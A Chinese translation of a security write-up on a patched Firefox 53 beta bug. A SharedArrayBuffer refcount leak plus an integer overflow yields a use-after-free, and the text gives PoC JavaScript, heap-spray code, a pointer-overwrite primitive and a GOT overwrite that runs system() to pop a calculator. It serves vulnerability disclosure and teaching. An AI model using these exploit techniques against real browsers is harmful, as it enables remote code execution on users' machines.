-
-
[翻译]Firefox UAF漏洞利用——基于shared array buffers
-
2017-8-1 22:53 5248
-
原文地址:https://phoenhex.re/2017-06-21/firefox-structuredclone-refleak
firefox-53b0下载地址:
firefox-53b0-source源码下载地址:
*******************************************************************************
* Firefox UAF漏洞利用——基于shared array buffers *
*******************************************************************************
这篇博客分析了操作shared array buffers过程中的一处指针解引用。通过和一处溢出检
测绕过结合,可以最终实现远程代码执行。这个问题由saelo发现,你可以在Firefox的Bug
zilla(https://bugzilla.mozilla.org/show_bug.cgi?id=1352681)中找到相关的报告。
这篇文档将分成如下几节:
* 背景介绍
* 漏洞分析
* 漏洞利用
* 总结
我们的exploit基于Linux系统上的Firefox Beta 53编写。需要指出的是,正式发行的Fire
fox版本不受这个漏洞影响,因为由于这个漏洞,shared array buffers已经在Firefox 52
之后的版本中被禁用了。完整的exploit可以在这里(https://github.com/phoenhex/file
s/tree/master/exploits/share-with-care)找到。
=============
1. 背景介绍
=============
要理解这个漏洞和它的利用手法需要一些前置知识,包括结构化克隆算法(structured cl
one algorithm,后文缩写为SCA)和shared array buffers, 本节会对它们做简要介绍。
--------------------------------
1.1 Structured Clone Algorithm
--------------------------------
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~[引用]~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
引用自Mozilla Develop Network官方文档:
结构化克隆算法SCA是HTML5规范为复杂javascript对象序列化而定义的新算法。
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
SCA被用于Spidermonkey引擎内部的序列化,以便在不同上下文之间传递对象。与json相反
,它可以解析循环引用。在浏览器中,postMessage函数使用了序列化和反序列化的功能。
postMessage函数主要在以下两个场景使用:
* 通过windows.postMessage()进行跨域/跨窗口的通信
* 与Web Worker通信,这是一种便捷的并行执行javascript代码的方式
与Web Worker通信的一个简单例子,如下所示:
var w = new Worker('worker_script.js');
var obj = { msg: "Hello world!" };
// send obj to Worker
w.postMessage(obj);
工作脚本“worker_script.js”可以注册一个onmessage监听器来接收主线程发送的obj。
this.onmessage = function(msg) {
var obj = msg;
// do something with obj now
}
跨窗口间的通信也采用类似的流程。这两个场景中,接收脚本在完全不同的全局上下文中
执行,因此无法访问发送方上下文的对象。因此,我们需要某种方法,在发送方和接收脚
本之间传输对象,以及在接收脚本的上下文中重建对象。为了实现这一点,SCA在发送方的
上下文中序列化obj,并在接收脚本的上下文中对其反序列化,从而创建对象的副本。
我们可以在源码路径“js/src/vm/StructuredClone.cpp”中找到SCA的代码。代码中定义了两个重要的类:JSStructuredCloneReader和JSStructuredCloneWriter。JSStructuredCloneReader的方法处理在接收线程的上下文中反序列化对象,而JSStructuredCloneWriter的方法处理发送线程上下文中对象的序列化。
处理对象序列化的关键函数是JSStructuredCloneWriter::startWrite(),关键逻辑如下所示:
bool
JSStructuredCloneWriter::startWrite(HandleValue v)
{
if (v.isString()) {
return writeString(SCTAG_STRING, v.toString());
} else if (v.isInt32()) {
return out.writePair(SCTAG_INT32, v.toInt32());
[...]
} else if (v.isObject()) {
[...]
} else if (JS_IsTypedArrayObject(obj)) {
return writeTypedArray(obj);
} else if (JS_IsDataViewObject(obj)) {
return writeDataView(obj);
} else if (JS_IsArrayBufferObject(obj)
&& JS_ArrayBufferHasData(obj)) {
return writeArrayBuffer(obj);
} else if (JS_IsSharedArrayBufferObject(obj)) {
return writeSharedArrayBuffer(obj); // [1]
} else if (cls == ESClass::Object) {
return traverseObject(obj);
[...]
}
return reportDataCloneError(JS_SCERR_UNSUPPORTED_TYPE);
}
这个函数会根据对象的类型执行不同的操作,如果是基本类型对象,就直接将它序列化,
否则调用相关函数以根据对象类型执行进一步的序列化操作。这些函数会确保对象的任何
属性或者数组的所有成员都被递归的序列化。我们感兴趣的地方是当对象是一个SharedArr
ayBufferObject时,这个函数会最终调用writeSharedArrayBuffer()函数(我们标注为[1]
的位置)。
函数的最后,如果传入的对象既不是基本类型也不是可序列化的对象,它将简单地抛出错误。反序列化的处理流程与上述过程类似,它将以序列化的对象为输入,创建新对象,并为其分配内存。
--------------------------
1.2 Shared Array Buffers
--------------------------
shared array buffer提供了一种创建共享内存的方式,可以在不同的上下文中被传递或访
问。它由继承自NativeObject类(NativeObject类是大多数Javascript对象的基类)的Sha
redArrayBufferObject C++类实现。SharedArrayBufferObject具有如下的抽象表示(如果
你查看源码,可能会发现源码中并没有这样明确的定义,为了读者能更好的理解下文的内
存布局,此处做了简化的介绍):
class SharedArrayBufferObject {
js::GCPtrObjectGroup group_;
GCPtrShape shape_; // used for storing property names
js::HeapSlot* slots_; // used to store named properties
js::HeapSlot* elements_; // used to store dense elements
js::SharedArrayRawBuffer* rawbuf; // pointer to the shared memory
}
rawbuf是一个指向SharedArrayRawBuffer对象的指针,该对象保存底层内存缓冲区。当通
过postMessage()发送时,SharedArrayBufferObject将被重新创建为接收工作者上下文
中的新对象。另一方面,SharedArrayRawBuffers在不同的上下文之间共享。 因此,单个S
haredArrayBufferObject的所有副本的rawbuf属性都指向相同的SharedArrayRawBuffer对
象。为了内存管理的目的,SharedArrayRawBuffer包含一个引用计数器refcount_:
class SharedArrayRawBuffer
{
mozilla::Atomic<uint32_t, mozilla::ReleaseAcquire> refcount_;
uint32_t length
bool preparedForAsmJS;
[...]
}
引用计数器refcount_跟踪一共有多少个SharedArrayBufferObject指向它。在JSStructure
dCloneWriter::writeSharedArrayBuffer()函数内,序列化SharedArrayBufferObject时
,它会增加,在SharedArrayBufferObject的析构函数中它会递减:
bool
JSStructuredCloneWriter::writeSharedArrayBuffer(HandleObject obj)
{
if (!cloneDataPolicy.isSharedArrayBufferAllowed()) {
JS_ReportErrorNumberASCII(context(),
GetErrorMessage,
nullptr,
JSMSG_SC_NOT_CLONABLE,
"SharedArrayBuffer");
return false;
}
Rooted<SharedArrayBufferObject*> sharedArrayBuffer(context(),
&CheckedUnwrap(obj)->as<SharedArrayBufferObject>());
SharedArrayRawBuffer* rawbuf = sharedArrayBuffer->rawBufferObject();
// Avoids a race condition where the parent thread frees the buffer
// before the child has accepted the transferable.
rawbuf->addReference();
intptr_t p = reinterpret_cast<intptr_t>(rawbuf);
return out.writePair(SCTAG_SHARED_ARRAY_BUFFER_OBJECT,
static_cast<uint32_t>(sizeof(p))) &&
out.writeBytes(&p, sizeof(p));
}
haredArrayBufferObject::Finalize(FreeOp* fop, JSObject* obj)
MOZ_ASSERT(fop->maybeOffMainThread());
SharedArrayBufferObject& buf = obj->as<SharedArrayBufferObject>();
// Detect the case of failure during SharedArrayBufferObject creation,
// which causes a SharedArrayRawBuffer to never be attached.
Value v = buf.getReservedSlot(RAWBUF_SLOT);
if (!v.isUndefined()) {
// refcount_ decremented here
buf.rawBufferObject()->dropReference();
buf.dropRawBuffer();
}
}
SharedArrayRawBuffer::dropReference()将在随后检查引用计数是否为零,如果满足条件就释放SharedArrayRawBuffer占用的内存。
=============
2. 漏洞分析
=============
我们发现了两处漏洞,它们单拿出来无法被利用,但组合在一起可以实现远程代码执行。
-------------------------------------
2.1 refcount_引用计数的整数溢出漏洞
-------------------------------------
上文提到的SharedArrayRawBuffer对象的属性refcount_,没有正确的进行溢出检查:
void
SharedArrayRawBuffer::addReference()
{
MOZ_ASSERT(this->refcount_ > 0);
++this->refcount_; // Atomic.
}
可以看到代码只是简单的增加refcount_的值,并没有校验是否发生溢出,当整数溢出时,
refcount_会变为0,将触发异常。回想一下,refcount_被定义为一个uint32_t整数,这意
味着上面的代码路径必须被触发232次以便溢出。这里的主要问题是每次调用postMessage
()将创建一个SharedArrayBufferObject的副本,并分配0x20字节的内存。Firefox的堆大
小的上限为4GB,上述的溢出将需要128GB,远远超过堆大小的上限,这使得这个整数溢出根本无法触发,更不可利用。
-------------------------
2.2 SCA中的引用计数泄漏
-------------------------
不幸的是,还有一个bug让我们得以绕过内存限制。回想以下postMessage()函数,它首先
序列化对象,然后反序列化对象。对象的副本在反序列化过程中创建,但refcount_引用计
数在序列化过程中增加。如果我们能使postMessage()在序列化SharedArrayBufferObject
之后,在反序列化之前失败,那么就可以实现refcount_增加,但不创建SharedArrayBufferObject副本。
回顾序列化过程的处理逻辑,有一个非常简单的方法,让它在反序列化之前失败:
bool
JSStructuredCloneWriter::startWrite(HandleValue v)
{
if (v.isString()) {
return writeString(SCTAG_STRING, v.toString());
} else if (v.isInt32()) {
return out.writePair(SCTAG_INT32, v.toInt32());
[...]
} else if (v.isObject()) {
[...]
}
return reportDataCloneError(JS_SCERR_UNSUPPORTED_TYPE);
}
如果要序列化的对象既不是基本类型也不是SCA支持的对象,则序列化将简单地抛出一个JS
_SCERR_UNSUPPORTED_TYPE错误,并且反序列化(包括内存分配)永远不会发生!这是一个
简单的PoC,它将增加refcount_,而不会实际复制SharedArrayBuffer:
var w = new Worker('example.js');
// refcount_ of its SharedArrayRawBuffer is 1 here
var sab = new SharedArrayBuffer(0x100);
try {
// serializes sab, but then: error !
w.postMessage([sab, function() {}]);
} catch (e) {
// ignore serialization errors :)
}
包含一个SharedArrayBuffer和一个函数的数组被序列化。SCA将首先序列化数组,然后递
归序列化SharedArrayBuffer(从而增加其原始缓冲区的refcount_),最后是该函数。但
是,SCA不支持函数序列化,所以抛出错误,不允许反序列化过程创建对象的副本。现在re
fcount_是2,但只有一个SharedArrayBuffer实际上指向原始缓冲区。利用这个引用计数泄漏的bug可以实现整数溢出,但不实际分配任何额外的内存。
=============
3. 漏洞利用
=============
虽然绕过了内存限制,触发整数溢出仍然需要232的postMessage()调用。在正常的PC上
,这可能需要执行几个小时。为了在合理的执行时间内实现漏洞利用,我们需要找到一种
方法更快地触发这个漏洞。
--------------
3.1 提升性能
--------------
减少对postMessage()函数调用的一个简单方法是每次调用序列化多个SharedArrayBufferO
bject对象:
w.postMessage([sab, sab, sab, ..., sab, function() {}]);
不幸的是(对我们这些想做坏事的人而言),SCA支持反向引用,因此上述做法不会真正的
增加refcount_的值,每一个sab会被序列化为一个指向第一个sab的反向引用。因此,要想
使这种方法奏效,我们需要创建不同的sab副本,我们可以使用postMessage()来创建:
// 以下代码在Scratchpad测试通过,可在Browser console查看输出结果
var SAB_SIZE = 0x1000000;
var sab = new SharedArrayBuffer(SAB_SIZE);
var copies = [ sab ];
window.onmessage = function (msg) {
copies = copies.concat(msg.data);
// copies array now contains [ sab, sab2 ]
// where sab2 is a copy of sab
};
window.postMessage(copies, "*");
console.log(copies.toString());
我们声明一个包含单个sab的数组,使用postMessage()函数将它发送给当前脚本的上下文
。当我们收到这个消息(也就是数组的副本),该副本将被添加到copies数组中。现在有
两个不同的副本指向同一个SharedArrayRawBuffer对象了。通过以上操作反复拷贝数组,
我们将获取大量有效副本。在本次漏洞利用中,我们创建了0x10000份副本(需要调用16
次postMessage()函数)。然后我们使用这些副本来触发引用泄漏,此时,postMessage()
函数需要调用的次数就降到了232/0x10000 = 65536次。我们还可以通过使用多个Web
Worker来并行执行我们的利用代码,最大化的利用多核的处理能力,从而获得进一步的性
能提升。每个Web Worker会接收一个长度为0x10000的数组缓冲区副本,然后在一个简单的
循环中执行引用泄漏。
for (var i = 0; i < how_many; i++) {
try {
postMessage([sabs, function(){}]);
} catch (e) { }
}
如果Web Worker执行结束,那么refcount_应该已经溢出,且值为1。通过删除一个sab,re
fcount_将变为0,那么对应的SharedRawBuffer对象将在下一次垃圾收集期间被释放。在我
们的利用代码中,一个SharedArrayBufferObject被垃圾回收,于是调用了dropReference(
)函数,于是引用计数递减为0,并触发对SharedRawBuffer对象的释放。
// free one worker
delete copies[1];
// trigger majorGC,
// this will decrement `refcount_` and thus free the raw buffer
do_gc();
你可以在这里找到do_gc()的概念实现:https://github.com/saelo/foxpwn/blob/master/
code.js#L297。
此时,SharedArrayRawBuffer被释放,但是对它的引用仍然存储在sabs中,允许对已释放
的内存进行读/写,这就导致了一个UAF(use-after-free)漏洞。
-----------------------------
3.2 将UAF转变为任意地址读写
-----------------------------
由于我们还保留有对已释放内存的引用,我们可以分配大量的对象,以便将目标对象分配
我们仍然持有引用的内存。需要指出一点,内存分配器将通过mmap系统调用申请更多的内
存,SharedArrayRawBuffer调用munmap系统调用接触映射后才会返回给操作系统。我们可
以使用ArrayBuffer对象,来实现将UAF漏洞转换为任意地址读写,因为ArrayBuffer对象包
含指向数组内容所在内存区域的指针,如果我们在之前释放的内存区域中分配一个ArrayBu
ffer对象,则我们可以通过覆盖该指针以指向任何我们想要的内存地址。
为此,我们分配了大量大小为0x60的ArrayBuffer对象。选择0x60这个大小,是因为这是让
ArrayBuffer指向的缓冲区直接排布在ArrayBuffer对象首部之后的最大大小。通过标记mag
ic值0x13371337,然后查找该值第一次出现的位置,我们可以定位ArrayBuffer对象的确切
地址。
var ALLOCS = 0x100000;
buffers = []
for (i=0; i<ALLOCS; i++) {
// store reference to the buffer
buffers[i] = new ArrayBuffer(0x60);
// mark the buffer with a magic value
view = new Uint32Array(buffers[i]);
view[0] = 0x13371337,
}
目前,我们应该已经将一些ArrayBuffer对象分配到我们先前已经释放的内存区域中。我们
使用先前的引用,查找magic值0x13371337。一旦我们找到,记录它的偏移,并更新它的值
为0x13381338。
// sab is the reference to one of the SharedArrayBuffer
var sab_view = new Uint32Array(sab);
//look for first buffer that is allocated over our sab memory and mark it
for (i=0; i < SAB_SIZE/32; i++) {
// check for the magic value
if (sab_view[i] == 0x13371337) {
sab_view[i] = 0x13381338;
ptr_overwrite_idx = i; // save the offset
break;
}
}
然后我们遍历所有的ArrayBuffer对象,寻找magic值0x13381338,从而定位我们刚才找到
的那个ArrayBuffer对象。
// look for the index of the marked buffer
for (i = 0; i < ALLOCS; i++) {
view = new Uint32Array(buffers[i]);
if (view[0] == 0x13381338) {
// save the index of the ArrayBuffer
ptr_access_idx = i;
break;
}
}
buffers[ptr_access_idx]就是受我们控制的ArrayBuffer对象,我们可以通过操作sab_vie
w[ptr_overwrite_idx](需要增加或减少一定的偏移)来修改它的内存空间。
上文提到,数组的内容位于数组首部之后,这意味着数组的首部从sab_view[ptr_overwrit
e_idx-16]开始。因此,可以通过写入sab_view[ptr_overwrite_idx-8]和sab_view[ptr_ov
erwrite_idx-7](将64位指针当作两个32位值)来覆盖指向数组缓冲区的指针。一旦指针
被覆盖,就可以在buffer[ptr_access_idx][0]读取或写入一个32位值。
----------------------
3.3 实现任意代码执行
----------------------
实现了任意读和任意写之后,我们需要找一种方法去控制RIP。因为libxul.so(包含了大部
分浏览器代码以及Spidermonkey的动态链接库),并没有开启完全的RELRO保护,我们可以
通过覆盖全局偏移表(GOT)来劫持控制流。
我们首先需要泄漏libxul.so在内存中的地址。我们可以通过泄漏任意一个内置函数的地址
,比如Date.now()函数。浏览器内部函数用JSFunction对象表示,该对象中存储了函数真
正实现的地址。为了泄漏函数的地址,我们可以把函数设置为ArrayBuffer对象的一个属性
,以利用我们对ArrayBuffer对象的任意地址读写。我们不会详细讲解对象属性的内存布局
,因为已经有很好的Phrack Paper讲解这个问题了(http://phrack.org/issues/69/14.htm
l)。我们已经有libxul.so动态库内部函数的地址了,我们可以使用硬编码的偏移来得到GO
T的地址。
最后,我们用libc的system函数地址覆盖了一个内置函数地址(也是从libxul.so泄漏的,
细节可以参考我们的利用代码)。在这个漏洞的利用中,我们调用了Uint8Array.copyWith
in()函数,它在一个受我们控制的字符串上依次调用memmove,因此覆盖memmove@GOT将会
执行system()函数:
var target = new Uint8Array(100);
var cmd = "/usr/bin/gnome-calculator &";
for (var i = 0; i < cmd.length; i++) {
target[i] = cmd.charCodeAt(i);
}
target[cmd.length] = 0;
memmove_backup = memory.read(memmove_got);
memory.write(memmove_got, system_libc);
target.copyWithin(0, 1); // executes system(cmd);
memory.write(memmove_got, memmove_backup);
以上的利用技术,受saelo的文章《exploit for the feuerfuchs challenge from the 33C3 CTF》的启发。
最终我们实现了终极目标,弹计算器。
=========
4. 总结
=========
整数溢出漏洞的修复是非常直接的,并已在commit d4b0fe7948中实现。引用泄漏漏洞在co
mmit c86b9cb593中被修复。
保守估计,在发布版本中触发溢出需要4个小时。当然使用多个Web Work加速,在8核处理
器的主机上可以在6~7分钟内弹出计算器。
[培训]《安卓高级研修班(网课)》月薪三万计划,掌 握调试、分析还原ollvm、vmp的方法,定制art虚拟机自动化脱壳的方法